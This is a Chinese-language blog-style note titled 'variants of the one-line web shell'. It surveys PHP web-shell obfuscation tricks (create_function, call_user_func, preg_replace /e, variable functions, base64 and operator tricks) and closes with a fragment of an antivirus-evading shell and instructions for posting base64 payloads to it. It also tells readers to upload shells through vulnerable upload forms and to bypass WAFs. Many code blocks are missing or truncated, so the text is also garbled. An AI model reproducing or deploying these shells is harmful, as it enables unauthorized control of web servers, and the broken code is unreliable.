一句话木马的变形

文章目录

  • 初始的一句话木马
  • create_function函数
  • call_user_func函数
  • preg_replace函数
  • file_put_contents函数
  • PHP变量函数
  • PHP可变变量
  • str_replace函数
  • base64_decode函数
  • "."操作符
  • 运算符变形
  • 免杀php一句话
  • 参考

初始的一句话木马

找到具有上传漏洞的站点,将该脚本上传,并访问。发现是一片空白,可以说明该木马能被解析。

create_function函数


把用户传递的数据生成一个函数fun(),然后再执行fun()。

call_user_func函数


call_user_func这个函数可以调用其它函数,被调用函数是call_user_func的第一个函数被调用的函数参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

preg_replace函数


这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行

file_put_contents函数

';
file_put_contents("hello.php", $test);
?>

使用方法:先用浏览器访问,生成新的文件"hello.php",再连接"hello.php"。

利用函数生成文件,第一个参数是文件名,第二个参数是文件的内容。

PHP变量函数


第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

PHP可变变量


通过上一个语句进行的多一层变化:$$a = ( ( (a) = $ (‘bb’) = $bb = “assert”

str_replace函数


在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。

base64_decode函数


这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

"."操作符


运算符变形


用echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。


只要我们将0赋值为assert就可以构成经典的一句话,密码是1。

一句话木马的变形_第1张图片


免杀php一句话

HALB();
 @$RNUJ($this->HY);}}
$vone = new VONE();
@$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6'];
?>
使用说明

是否传入id参数决定是否把流量编码
 
http://www.xxx.com/shell.php 
POST: mr6=phpinfo();  //与普通shell相同
 
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo=  //payload的base64编码

参考

铭说 | 一句话木马的多种变形方式

上传一句话木马时

免杀PHP一句话

你可能感兴趣的:(笔记,php,正则表达式,开发语言)